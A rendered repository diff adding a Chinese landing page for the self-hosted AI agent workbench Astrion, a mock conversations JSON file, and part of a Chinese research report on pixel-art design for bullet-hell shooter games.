<a class="btn btn-primary btn-sm" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">Try Astrion</a>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<main>
|
||||||
|
|
||||||
|
<!-- ───────────────── 总览 ───────────────── -->
|
||||||
|
<section class="hero">
|
||||||
|
<div class="hero-inner">
|
||||||
|
<p class="eyebrow">开源 · 自托管 · 本机优先</p>
|
||||||
|
<div class="hero-title-row">
|
||||||
|
<h1 class="hero-title">Astrion<span class="hero-mascot" id="heroMascot" aria-hidden="true"></span></h1>
|
||||||
|
</div>
|
||||||
|
<p class="hero-sub">住在你机器上的智能体工作台。开源、自托管,可以处理你的本地代码和工作,也可以部署在云端提供多人服务,体验一致。</p>
|
||||||
|
<div class="hero-actions">
|
||||||
|
<a class="btn btn-primary" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">下载</a>
|
||||||
|
<a class="btn btn-ghost" href="https://github.com/JOJO6618/astrion#readme" target="_blank" rel="noopener">查看文档</a>
|
||||||
|
</div>
|
||||||
|
<p class="hero-platforms">
|
||||||
|
<span class="platform">Terminal <em>(beta)</em></span>
|
||||||
|
<span class="platform-sep"></span>
|
||||||
|
<span class="platform">Web</span>
|
||||||
|
<span class="platform-sep"></span>
|
||||||
|
<span class="platform">Windows</span>
|
||||||
|
<span class="platform-sep"></span>
|
||||||
|
<span class="platform">macOS</span>
|
||||||
|
<span class="platform-sep"></span>
|
||||||
|
<span class="platform">Android</span>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- ───────────────── 演示 ───────────────── -->
|
||||||
|
<section class="demo" id="demo">
|
||||||
|
<div class="section-head">
|
||||||
|
<p class="eyebrow">Demo</p>
|
||||||
|
<h2 class="section-title">它工作时的样子</h2>
|
||||||
|
<p class="section-sub">下面是真实运行的 Astrion 界面,接着一份静态演示数据。可以点击切换对话、展开工具记录、打开右侧快捷窗口查看子智能体。</p>
|
||||||
|
</div>
|
||||||
|
<div class="demo-frame-wrap">
|
||||||
|
<div class="demo-frame" id="demoFrame">
|
||||||
|
<iframe id="demoIframe" src="/demo.html" title="Astrion 界面演示" loading="lazy"></iframe>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<p class="demo-note">演示环境只含静态数据;实际使用由你自己的模型驱动。</p>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- ───────────────── 特色功能 ───────────────── -->
|
||||||
|
<section class="features" id="features">
|
||||||
|
<div class="section-head">
|
||||||
|
<p class="eyebrow">Features</p>
|
||||||
|
<h2 class="section-title">围绕「放心交给它做事」设计</h2>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="feature-list">
|
||||||
|
|
||||||
|
<div class="feature-row feature-row--anim">
|
||||||
|
<div class="feature-text">
|
||||||
|
<p class="feature-index">01</p>
|
||||||
|
<h3 class="feature-title">计划 / 询问 / 执行</h3>
|
||||||
|
<p class="feature-desc">三种运行模式决定它什么时候动手。<br>计划模式只出方案,批准后才开始改;<br>询问模式先讨论清楚再开工;<br>执行模式直接做完再汇报。</p>
|
||||||
|
</div>
|
||||||
|
<div class="feature-anim" id="animModes" aria-hidden="true"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="feature-row feature-row--anim">
|
||||||
|
<div class="feature-text">
|
||||||
|
<p class="feature-index">02</p>
|
||||||
|
<h3 class="feature-title">沙箱与网络授权</h3>
|
||||||
|
<p class="feature-desc">命令默认在操作系统沙箱里执行,写文件、访问网络都要经过授权。<br>macOS 使用系统沙箱,Windows 通过 WSL2 获得完整隔离;<br>网络权限单独开关,与文件权限互不影响。</p>
|
||||||
|
</div>
|
||||||
|
<div class="feature-anim" id="animSandbox" aria-hidden="true"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="feature-row feature-row--anim">
|
||||||
|
<div class="feature-text">
|
||||||
|
<p class="feature-index">03</p>
|
||||||
|
<h3 class="feature-title">修改记录</h3>
|
||||||
|
<p class="feature-desc">每一次文件编辑都留下一条 diff:<br>改了哪个文件、加了几行、删了几行。<br>按任务逐条查看,也可以单独撤销其中任意一次修改。</p>
|
||||||
|
</div>
|
||||||
|
<div class="feature-anim" id="animRecords" aria-hidden="true"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="feature-row feature-row--anim">
|
||||||
|
<div class="feature-text">
|
||||||
|
<p class="feature-index">04</p>
|
||||||
|
<h3 class="feature-title">版本控制</h3>
|
||||||
|
<p class="feature-desc">每条消息自动成为一个检查点。<br>发现方向不对时,回退到任意一条消息之前——<br>对话和文件一起还原,不用手工收拾残局。</p>
|
||||||
|
</div>
|
||||||
|
<div class="feature-anim" id="animVersion" aria-hidden="true"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- ───────────────── FAQ ───────────────── -->
|
||||||
|
<section class="faq" id="faq">
|
||||||
|
<div class="section-head">
|
||||||
|
<p class="eyebrow">FAQ</p>
|
||||||
|
<h2 class="section-title">常见问题</h2>
|
||||||
|
</div>
|
||||||
|
<div class="faq-list">
|
||||||
|
|
||||||
|
<details class="faq-item">
|
||||||
|
<summary class="faq-q">运行 Astrion 需要什么环境?<span class="faq-icon"></span></summary>
|
||||||
|
<div class="faq-a"><p>Python 3.9+ 和 Node.js 18+。克隆仓库后安装依赖、构建前端,一条命令启动,默认监听 8091 端口。macOS、Linux、Windows(WSL2)都可以运行。</p></div>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details class="faq-item">
|
||||||
|
<summary class="faq-q">我的数据存在哪里?<span class="faq-icon"></span></summary>
|
||||||
|
<div class="faq-a"><p>全部在你自己的机器上:对话记录、工作区文件、日志默认放在 <code>~/.astrion/astrion/</code> 下,可以通过环境变量整体搬迁。不经过任何第三方服务器。</p></div>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details class="faq-item">
|
||||||
|
<summary class="faq-q">宿主机模式和 Docker 模式有什么区别?<span class="faq-icon"></span></summary>
|
||||||
|
<div class="faq-a"><p>宿主机模式下 Astrion 直接操作你的本机文件,适合处理日常工作和本地代码;Docker 模式把任务放进容器执行,适合需要隔离或多人共用的部署。两种模式界面与能力一致,数据可以互通。</p></div>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details class="faq-item">
|
||||||
|
<summary class="faq-q">支持哪些模型?<span class="faq-icon"></span></summary>
|
||||||
|
<div class="faq-a"><p>任何 OpenAI 兼容接口都可以接入:官方 API、聚合网关、本地推理服务都行。主智能体和子智能体可以分别配置不同的模型。</p></div>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details class="faq-item">
|
||||||
|
<summary class="faq-q">可以部署给多人使用吗?<span class="faq-icon"></span></summary>
|
||||||
|
<div class="faq-a"><p>可以。部署到服务器后自带多用户体系,每人独立工作区,通过浏览器访问,也有 Android 客户端。同一套界面,本机和云端体验一致。</p></div>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details class="faq-item">
|
||||||
|
<summary class="faq-q">它执行命令安全吗?<span class="faq-icon"></span></summary>
|
||||||
|
<div class="faq-a"><p>有四层控制:权限模式决定哪些操作需要批准;命令默认在 OS 沙箱内运行;网络访问单独授权;所有文件修改留有记录可以随时回退。你可以从「每条命令都要批准」一路调到「完全放开」,粒度自己定。</p></div>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<!-- ───────────────── 底栏 ───────────────── -->
|
||||||
|
<footer class="footer">
|
||||||
|
<div class="footer-inner">
|
||||||
|
<div class="footer-brand">
|
||||||
|
<span>Astrion</span>
|
||||||
|
</div>
|
||||||
|
<nav class="footer-links">
|
||||||
|
<a href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">GitHub</a>
|
||||||
|
<a href="https://github.com/JOJO6618/astrion#readme" target="_blank" rel="noopener">文档</a>
|
||||||
|
<a href="#demo">演示</a>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
|
||||||
|
<script src="/site-assets/astrion-avatar.js"></script>
|
||||||
|
<script src="/site-assets/anim-sandbox.js"></script>
|
||||||
|
<script src="/site-assets/anim-modes.js"></script>
|
||||||
|
<script src="/site-assets/anim-records.js"></script>
|
||||||
|
<script src="/site-assets/anim-version.js"></script>
|
||||||
|
<script src="/site-assets/site.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
1
website-design/exp/mock/conversations-ma.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
{"success": true, "data": {"conversations": [], "has_more": false, "limit": 20, "offset": 0, "total": 0}}
|
||||||
1
website-design/exp/mock/conversations-normal.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
{"success": true, "data": {"conversations": [{"id": "conv_20260823_122836_778", "title": "弹幕游戏美术设计调研", "project_path": "/Users/demo/starraid", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 29, "total_tools": 13, "created_at": "2026-08-23T12:28:36.778945", "updated_at": "2026-08-23T13:32:51.486262"}, {"id": "conv_20260823_133304_218", "title": "尚界Z7与小米SU7外观对比", "project_path": "/Users/demo/daily", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 11, "total_tools": 6, "created_at": "2026-08-23T13:33:04.218941", "updated_at": "2026-08-23T13:35:36.442941"}], "has_more": false, "limit": 20, "offset": 0, "total": 2}}
|
||||||
259
website-design/exp/mock/file-pixel_art_research.md
Normal file
@ -0,0 +1,259 @@
|
|||||||
|
# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告
|
||||||
|
|
||||||
|
> 调研时间:2026-08-23
|
||||||
|
> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源
|
||||||
|
> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 0. 摘要与总体结论
|
||||||
|
|
||||||
|
- **弹幕游戏(Danmaku)的美术核心不是"好看",而是"可读性(Readability)"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨"哪些是威胁、往哪里躲"。所有美术决策都应服务于这一目标。
|
||||||
|
- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。
|
||||||
|
- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。
|
||||||
|
- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家"真正会中弹的位置",与自机精灵大小形成强烈对比。
|
||||||
|
- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 玩家飞船 / 角色设计
|
||||||
|
|
||||||
|
### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)
|
||||||
|
|
||||||
|
- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。
|
||||||
|
- 分辨率越低像素越"块",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的"集群可读性(reading intention within clusters)"。
|
||||||
|
- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。
|
||||||
|
- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。
|
||||||
|
|
||||||
|
**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。
|
||||||
|
|
||||||
|
### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)
|
||||||
|
|
||||||
|
综合 SLYNYRD 教程与 Boghog 指南:
|
||||||
|
|
||||||
|
- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。
|
||||||
|
- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。
|
||||||
|
- **尾焰/推进器动画(thruster animation)是必须**:让飞船"活着"的关键,通常 2~4 帧。
|
||||||
|
- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持"飞行"的立体幻觉。
|
||||||
|
- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要"厚、快、密"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。
|
||||||
|
- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动"不流畅"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。
|
||||||
|
|
||||||
|
### 1.3 东方Project 系列的角色精灵风格
|
||||||
|
|
||||||
|
(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)
|
||||||
|
|
||||||
|
- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是"小尺寸、高识别度"路线)。
|
||||||
|
- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。
|
||||||
|
- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。
|
||||||
|
- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。
|
||||||
|
- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。
|
||||||
|
|
||||||
|
### 1.4 像素飞船设计要点(落地 Checklist)
|
||||||
|
|
||||||
|
| 项目 | 建议 |
|
||||||
|
|---|---|
|
||||||
|
| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |
|
||||||
|
| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |
|
||||||
|
| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |
|
||||||
|
| 描边 | 深色(近黑)描边,与"用白色描边的敌方子弹"形成体系区分 |
|
||||||
|
| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |
|
||||||
|
| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |
|
||||||
|
|
||||||
|
### 1.5 判定框(Hitbox)视觉提示设计
|
||||||
|
|
||||||
|
- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。
|
||||||
|
- **视觉提示做法(主流方案)**:
|
||||||
|
1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。
|
||||||
|
2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种"旋转+透明度变化"行为)。
|
||||||
|
3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。
|
||||||
|
- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给"大判定"、敌人给"大受击判"(补偿微操作失误);玩家命中应"慷慨"(覆盖贴合情况),才不会有挫败感。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 敌方单位设计
|
||||||
|
|
||||||
|
### 2.1 杂兵(Enemy Grunts)的像素设计
|
||||||
|
|
||||||
|
- **同一阵营视觉统一+个体差异**:SLYNYRD 强调"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分"。
|
||||||
|
- **角色定位决定美术**:按"速度 / 血量 / 体型 / 几何弹道 / 颜色"五要素设计(SLYNYRD):
|
||||||
|
- **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造"动作感"而非威胁;血量只要够"打完这一局"即可,不要虚高(Boghog)。
|
||||||
|
- 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。
|
||||||
|
- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像"虚影"(Boghog)。
|
||||||
|
- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。
|
||||||
|
- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。
|
||||||
|
|
||||||
|
### 2.2 Boss 的体型与细节层次
|
||||||
|
|
||||||
|
- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),"越大杀起来越爽"(SLYNYRD),但不要大到遮挡弹幕视野。
|
||||||
|
- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。
|
||||||
|
- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到"视觉上将 Boss 血条分段以显示本段攻击何时结束"。
|
||||||
|
- **Boss 出场仪式**:Boss 出现前要有"警告留白"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。
|
||||||
|
- **Boss 爆炸要"壮观"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。
|
||||||
|
|
||||||
|
### 2.3 敌方攻击前的视觉预警(Telegraph)
|
||||||
|
|
||||||
|
- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧"粒子向炮口汇聚/炮口颜色渐亮"表达。
|
||||||
|
- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。
|
||||||
|
- **激光预警**:东方系激光常见"先显示一条细亮线(约半秒)再出现命中判定",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。
|
||||||
|
- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠"渐进式预告"进入节奏。
|
||||||
|
- **背景预告**:关卡背景用"地标/视觉节奏"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。
|
||||||
|
- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 子弹 / 弹幕的像素美术
|
||||||
|
|
||||||
|
### 3.1 常见像素子弹样式与尺寸
|
||||||
|
|
||||||
|
**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。
|
||||||
|
|
||||||
|
| 子弹类型 | 常见尺寸 | 形态与用途 |
|
||||||
|
|---|---|---|
|
||||||
|
| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |
|
||||||
|
| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |
|
||||||
|
| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |
|
||||||
|
| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |
|
||||||
|
| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |
|
||||||
|
| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |
|
||||||
|
|
||||||
|
### 3.2 子弹颜色与类型的对应关系
|
||||||
|
|
||||||
|
- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。
|
||||||
|
- **颜色编码用途(Note 上"15 个美丽弹幕"文章 + Boghog)**:
|
||||||
|
- 用颜色区分"快弹 / 慢弹 / 装饰弹"等**危险等级**,玩家读色即知威胁;
|
||||||
|
- 颜色同时用于表达"瞄准玩家的弹(aimed)"与"固定弹(static)"等行为差异(各 STG 有自己约定,需在游戏内自学);
|
||||||
|
- **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。
|
||||||
|
- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立"谁打的"直觉。
|
||||||
|
- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。
|
||||||
|
|
||||||
|
### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)
|
||||||
|
|
||||||
|
- **闪烁(Flashing)**:双帧交替即可,对比越强越"危险",但对比过强高速移动时反而难追踪(SLYNYRD);常用于"即将消失/即将命中"状态。
|
||||||
|
- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴"翻转"来模拟 3D 感。
|
||||||
|
- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹"活着"。
|
||||||
|
- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。
|
||||||
|
- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。
|
||||||
|
- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。
|
||||||
|
|
||||||
|
### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)
|
||||||
|
|
||||||
|
- **价值(Value)分层**:将图像转黑白即可检查——子弹应"亮部+暗部紧挨"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。
|
||||||
|
- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把"威胁"和"物体"分开(SLYNYRD)。
|
||||||
|
- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读"组合"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。
|
||||||
|
- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。
|
||||||
|
- **留隙(Design gaps)**:弹幕模式要"设计缝隙"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。
|
||||||
|
- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。
|
||||||
|
- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 特效与 UI
|
||||||
|
|
||||||
|
### 4.1 爆炸特效的像素动画(SLYNYRD 方法)
|
||||||
|
|
||||||
|
- **制作流程**:先用"圆→扩张变细环"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。
|
||||||
|
- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。
|
||||||
|
- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。
|
||||||
|
- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。
|
||||||
|
- **冲击波**:把引导环稍作修改即可成冲击波环。
|
||||||
|
- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀")。
|
||||||
|
- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。
|
||||||
|
|
||||||
|
### 4.2 拾取道具的视觉效果
|
||||||
|
|
||||||
|
- **可读性优先**:道具必须一眼区别于"威胁物",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。
|
||||||
|
- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。
|
||||||
|
- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等"伸手去接也有意思"的运动。
|
||||||
|
- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。
|
||||||
|
- **点收集(Point of Collection)**:靠近屏幕顶端的一条"自动收集线"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。
|
||||||
|
|
||||||
|
### 4.3 得分 / 连击的视觉反馈
|
||||||
|
|
||||||
|
- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。
|
||||||
|
- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如"x2.5")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式"防御性计分"靠视觉压力驱动玩法)。
|
||||||
|
- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。
|
||||||
|
- **分数增长可视化**:让"数字变大"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。
|
||||||
|
- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。
|
||||||
|
|
||||||
|
### 4.4 血条、Bomb 数量等 HUD 设计
|
||||||
|
|
||||||
|
- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。
|
||||||
|
- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示"即将切换攻击"。
|
||||||
|
- **Bomb 图标**:用典型"B"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。
|
||||||
|
- **残机(Lives)**:像素自机小图标排列,比数字更直观。
|
||||||
|
- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。
|
||||||
|
- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。
|
||||||
|
- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 参考资源搜索汇总
|
||||||
|
|
||||||
|
### 5.1 itch.io 免费/付费像素弹幕素材
|
||||||
|
|
||||||
|
| 资源 | 内容 | 链接 |
|
||||||
|
|---|---|---|
|
||||||
|
| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |
|
||||||
|
| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |
|
||||||
|
| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |
|
||||||
|
| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |
